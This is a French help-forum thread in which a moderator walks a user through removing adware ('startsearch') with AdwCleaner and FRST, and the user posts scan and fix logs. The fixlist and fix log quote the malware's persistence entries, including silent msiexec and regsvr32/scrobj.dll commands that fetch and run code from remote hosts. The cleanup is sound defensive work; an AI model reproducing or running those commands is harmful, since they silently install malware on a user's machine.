Startsearch

Résolu
baliverne3 -  
Bonjour,
J'ai eu une " alerte crique windows " recemment et depuis malgré moults nettoyages Je n'arrive pas à me débarasser de startsearch, pouvez vous m'aider ?
merci d'avance

4 réponses

  1.  Malekal_morte- Modérateur
    Salut,

    Windows a été infecté par des adwares et programmes parasites. Ces indésirables sont connus pour provoquer des affichages de publicités et occasionner de sérieux ralentissements sur tes navigateurs WEB.
    Voici les étapes de la procédure à suivre :

    1°)
    Suis le tutoriel AdwCleaner d'Xplode
    • Télécharge le sur ton Bureau ou dans ton dossier des téléchargements,
    • Lance "AdwCleaner" puis clique sur [Scanner],
    • L'analyse va durer plusieurs minutes, patiente,
    • Une fois le scan terminé, ne décoche rien, clique sur [Nettoyer],
    • Une fois le nettoyage terminé, un rapport va s'ouvrir,
    • Copie/colle le contenu du rapport dans ta prochaine réponse.


    Si le copié/collé ne fonctionne pas, utilise le site http://pjjoint.malekal.com/ pour héberger ton rapport, donne le lien du rapport dans un nouveau message.

    Note : Le rapport est également sauvegardé sous C:\AdwCleaner[S1].txt

    2°)
    Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

    3°) FRST
    Suis le tutoriel FRST. ( prends le temps de lire attentivement - tout y est bien expliqué ).

    Télécharge et lance le scan FRST, 3 rapports FRST seront générés :
    • FRST.txt
    • Shortcut.txt
    • Additionnal.txt


    Envoie ces 3 rapports sur le site http://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

    0
    1. baliverne3 Auteur
      Hello,
      voici le 1er rapport :
      # AdwCleaner v6.046 - Rapport créé le 30/04/2017 à 23:09:47
      # Mis à jour le 24/04/2017 par Malwarebytes
      # Base de données : 2017-04-29.1 [Locale]
      # Système d'exploitation : Windows 10 Home (X64)
      # Nom d'utilisateur : verotte - LAPTOP-UK2C7RQN
      # Exécuté depuis : C:\Users\verotte\Downloads\adwcleaner_6.046.exe
      # Mode: Nettoyage
      # Support : https://www.malwarebytes.com/support/
              • [ Services ] *****


      [-] Service supprimé: FirefoxU
              • [ Dossiers ] *****


      [-] Dossier supprimé: C:\Users\verotte\AppData\Local\Doeye
      [-] Dossier supprimé: C:\Program Files (x86)\Doeye
      [-] Dossier supprimé: C:\Program Files (x86)\Firefox
      [-] Dossier supprimé: C:\Users\verotte\AppData\Roaming\Firefox
      [-] Dossier supprimé: C:\Users\verotte\AppData\Local\Firefox
              • [ Fichiers ] *****


      [-] Fichier supprimé: C:\Users\Public\Documents\temp.dat
      [-] Fichier supprimé: C:\Users\Public\Documents\report.dat
      [!] Fichier non supprimé: C:\ProgramData\SOFTWARE\APPLE\APPS\NOTIFICATION.DLL
              • [ DLL ] *****
              • [ WMI ] *****
              • [ Raccourcis ] *****
              • [ Tâches planifiées ] *****
              • [ Registre ] *****


      [-] Clé supprimée: HKCU\SOFTWARE\Classes\ChromeHTML
      [-] Clé supprimée: HKCU\SOFTWARE\Clients\StartMenuInternet\ChromeHTML
              • [ Navigateurs ] *****


      :: Clés "Tracing" supprimées
      :: Paramètres Winsock réinitialisés

      C:\AdwCleaner\AdwCleaner[C0].txt - [4769 octets] - [24/04/2017 22:46:51]
      C:\AdwCleaner\AdwCleaner[C2].txt - [1558 octets] - [30/04/2017 23:09:47]
      C:\AdwCleaner\AdwCleaner[S0].txt - [5499 octets] - [18/04/2017 21:25:13]
      C:\AdwCleaner\AdwCleaner[S1].txt - [4669 octets] - [24/04/2017 22:45:29]
      C:\AdwCleaner\AdwCleaner[S2].txt - [1941 octets] - [30/04/2017 23:00:48]
      C:\AdwCleaner\AdwCleaner[S3].txt - [2014 octets] - [30/04/2017 23:05:07]

      ########## EOF - C:\AdwCleaner\AdwCleaner[C2].txt - [1928 octets] ##########
      Le hic c'est que au redémarrage mon raccourci Firefox n'est plus actif et je me connecte donc a internet avec edge ( navigateur par defaut ) e pense qu'il va falloir que je reinstalle Firefox n'est ce pas ... ? je ferai ca demain
      0
      1. Malekal_morte- Modérateur
        Passe à FRST déjà.
        0
      2. baliverne3 Auteur
        Je viens de telecharger FIRST , il est sur le bureau et ne s'ouvre pas( !) , j'ai fait la manip 2 fois ...
        0
      3. Malekal_morte- Modérateur
        @baliverne3Tu as quel antivirus ?
        Il le bloque peut-être ?
        Si tu renommes FRST en n'importe quoi, ça passe ?
        0
    2. Malekal_morte- Modérateur
      Je te conseille de désinstaller McAfee Security Scan car c'est avant tout un programme markéting proposé à l'installation d'autres logiciels ( comme Adobe Flash) pour final tenter de te vendre l'antivirus.

      Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.

      Ouvre le bloc-notes : Touche Windows + R,
      Dans le champs "Exécuter", saisir notepad et OK.
      Copie/Colle dedans ce qui suit : 

      CreateRestorePoint:
      CloseProcesses:
      C:\Program Files (x86)\ScreenShot
      HKU\S-1-5-21-2972077697-245542667-4235198535-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9292504 2016-12-21] (Piriform Ltd)  
       2017-04-13 18:40 - 2017-03-20 10:53 - 00000000 ____D C:\Users\verotte\AppData\Roaming\ScreenShot 
       2017-04-18 20:06 - 2017-04-18 20:06 - 00000000 _____ C:\WINDOWS\SysWOW64\1 
       2017-04-17 17:47 - 2017-04-30 23:10 - 00000000 ____D C:\Program Files (x86)\MIO  
       2017-04-13 18:41 - 2017-04-13 18:41 - 00003692 _____ C:\WINDOWS\System32\Tasks\Windows-WoShiBeiYongDe 
       2017-04-13 18:40 - 2017-04-25 20:48 - 00003994 _____ C:\WINDOWS\System32\Tasks\Avast Emergency Update 
       2017-04-13 18:40 - 2017-04-13 18:40 - 00000000 ____D C:\Users\verotte\AppData\Roaming\SSMgre 
       R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2016-11-02] (Filseclab Corporation Limited)  
       HKU\S-1-5-21-2972077697-245542667-4235198535-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc%3D%3D /q [Pays US - 104.24.101.133] 
      IFEO\taskmgr.exe: [Debugger] 
      Task: {99ECAE5C-2ACF-43C1-9FA0-5767D26DD4D8} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc== scrobj.dll
      Task: {D690FFD3-FC92-46D9-B81B-09397B9C0834} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc== scrobj.dll
      Hosts:
      EmptyTemp:
      RemoveProxy:
      Reboot:


      Une fois, le texte collé dans le Bloc-notes,
      Menu "Fichier" puis "Enregistrer sous",
      A gauche, place toi sur le Bureau,
      Dans le champs en bas, nom du fichier mets : fixlist.txt
      Clique sur "Enregistrer", cela va créer fixlist.txt sur le Bureau.

      Relance FRST et clique sur le bouton "Corriger / Fix"
      Un redémarrage sera peut-être nécessaire ( pas obligatoire )
      Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

      Redémarre l'ordinateur.

      2°)
      Réinitialise/Répare les navigateurs WEB concernés par les problèmes :

      Veuillez appuyer sur une touche pour continuer la désinfection...
      0
      1. baliverne3 Auteur
        Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 01-05-2017
        Exécuté par verotte (01-05-2017 22:50:45) Run:1
        Exécuté depuis C:\Users\verotte\Desktop
        Profils chargés: verotte (Profils disponibles: verotte)
        Mode d'amorçage: Normal
        ==============================================

        fixlist contenu:
        CreateRestorePoint:
        CloseProcesses:
        C:\Program Files (x86)\ScreenShot
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9292504 2016-12-21] (Piriform Ltd)
        2017-04-13 18:40 - 2017-03-20 10:53 - 00000000 ____D C:\Users\verotte\AppData\Roaming\ScreenShot
        2017-04-18 20:06 - 2017-04-18 20:06 - 00000000 _____ C:\WINDOWS\SysWOW64\1
        2017-04-17 17:47 - 2017-04-30 23:10 - 00000000 ____D C:\Program Files (x86)\MIO
        2017-04-13 18:41 - 2017-04-13 18:41 - 00003692 _____ C:\WINDOWS\System32\Tasks\Windows-WoShiBeiYongDe
        2017-04-13 18:40 - 2017-04-25 20:48 - 00003994 _____ C:\WINDOWS\System32\Tasks\Avast Emergency Update
        2017-04-13 18:40 - 2017-04-13 18:40 - 00000000 ____D C:\Users\verotte\AppData\Roaming\SSMgre
        R2 SSSvc; C:\Program Files (x86)\ScreenShot\SSSvc.exe [139744 2016-11-02] (Filseclab Corporation Limited)
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc%3D%3D /q [Pays US - 104.24.101.133]
        IFEO\taskmgr.exe: [Debugger]
        Task: {99ECAE5C-2ACF-43C1-9FA0-5767D26DD4D8} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc== scrobj.dll
        Task: {D690FFD3-FC92-46D9-B81B-09397B9C0834} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1XFkM5MdwyNWFyMkE3MTqcFjzYNTzSFTJYNWI3OYJWMc== scrobj.dll
        Hosts:
        EmptyTemp:
        RemoveProxy:
        Reboot:

        Le Point de restauration a été créé avec succès.
        Processus fermé avec succès.
        C:\Program Files (x86)\ScreenShot => déplacé(es) avec succès
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\Software\Microsoft\Windows\CurrentVersion\Run\\CCleaner Monitoring => valeur supprimé(es) avec succès
        C:\Users\verotte\AppData\Roaming\ScreenShot => déplacé(es) avec succès
        C:\WINDOWS\SysWOW64\1 => déplacé(es) avec succès
        C:\Program Files (x86)\MIO => déplacé(es) avec succès
        C:\WINDOWS\System32\Tasks\Windows-WoShiBeiYongDe => déplacé(es) avec succès
        C:\WINDOWS\System32\Tasks\Avast Emergency Update => déplacé(es) avec succès
        C:\Users\verotte\AppData\Roaming\SSMgre => déplacé(es) avec succès
        SSSvc => Service arrêté avec succès.
        HKLM\System\CurrentControlSet\Services\SSSvc => clé supprimé(es) avec succès
        SSSvc => service supprimé(es) avec succès
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\Software\Microsoft\Windows\CurrentVersion\Policies\system\\Shell => valeur supprimé(es) avec succès
        HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe => clé supprimé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{99ECAE5C-2ACF-43C1-9FA0-5767D26DD4D8} => clé supprimé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{99ECAE5C-2ACF-43C1-9FA0-5767D26DD4D8} => clé supprimé(es) avec succès
        C:\WINDOWS\System32\Tasks\Windows-WoShiBeiYongDe => non trouvé(e).
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Windows-WoShiBeiYongDe => clé supprimé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D690FFD3-FC92-46D9-B81B-09397B9C0834} => clé supprimé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D690FFD3-FC92-46D9-B81B-09397B9C0834} => clé supprimé(es) avec succès
        C:\WINDOWS\System32\Tasks\PowerWord-SCT-JT => déplacé(es) avec succès
        HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PowerWord-SCT-JT => clé supprimé(es) avec succès
        C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès
        Hosts restauré(es) avec succès.

        ========= RemoveProxy: =========

        HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
        HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => valeur supprimé(es) avec succès
        HKU\S-1-5-21-2972077697-245542667-4235198535-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => valeur supprimé(es) avec succès

        ========= Fin de RemoveProxy: =========

        =========== EmptyTemp: ==========

        BITS transfer queue => 308208 B
        DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 68210790 B
        Java, Flash, Steam htmlcache => 1054 B
        Windows/system/drivers => 53516234 B
        Edge => 83875747 B
        Chrome => 0 B
        Firefox => 384682775 B
        Opera => 0 B

        Temp, IE cache, history, cookies, recent:
        Default => 6656 B
        Users => 0 B
        ProgramData => 0 B
        Public => 0 B
        systemprofile => 1375 B
        systemprofile32 => 24 B
        LocalService => 2604 B
        NetworkService => 14730 B
        verotte => 176214085 B

        RecycleBin => 0 B
        EmptyTemp: => 731.3 MB données temporaires supprimées.

        ================================

        Le système a dû redémarrer.

        Fin de Fixlog 22:51:47

        0
      2. baliverne3 Auteur
        j'ai réinstallé firefox, par contre je ne peux pas le mettre comme navigateur par defaut car il ne figure plus dans la liste des navigateurs proposés dans les parametres .
        0
      4. baliverne3 Auteur
        Si !ca marche ! cool !
        C'est bon l'ordi est clean là ??
        Si c'est le cas ( ca a l'air ) merci Merci MERCI

        ...et j'arrête le streaming top compliqué pour moi ! ;-)
        0
    3. Malekal_morte- Modérateur
      oui fais des analyses régulières avec Malwarebytes.
      Tu peux tenter netflix, tu as un mois gratuit, à voir si le contenu te plait.

      Supprime le dossier C:\FRST

      Termine par un nettoyage Malwarebytes - Tutoriel Malwarebytes Anti-Malware version gratuite

      Quelques conseils :

      Pour ne plus te faire avoir.
      A lire - Programmes parasites / PUPs : Dossier Adwares/PUPs : programmes indésirables et parasites
      (Surtout active les détections LPIs pour détecter les programmes parasites et publicitaires)

      0

      Discussions similaires

      Comment désinstaller My Start Search ? CHROME
      problemeordi72

      3 réponses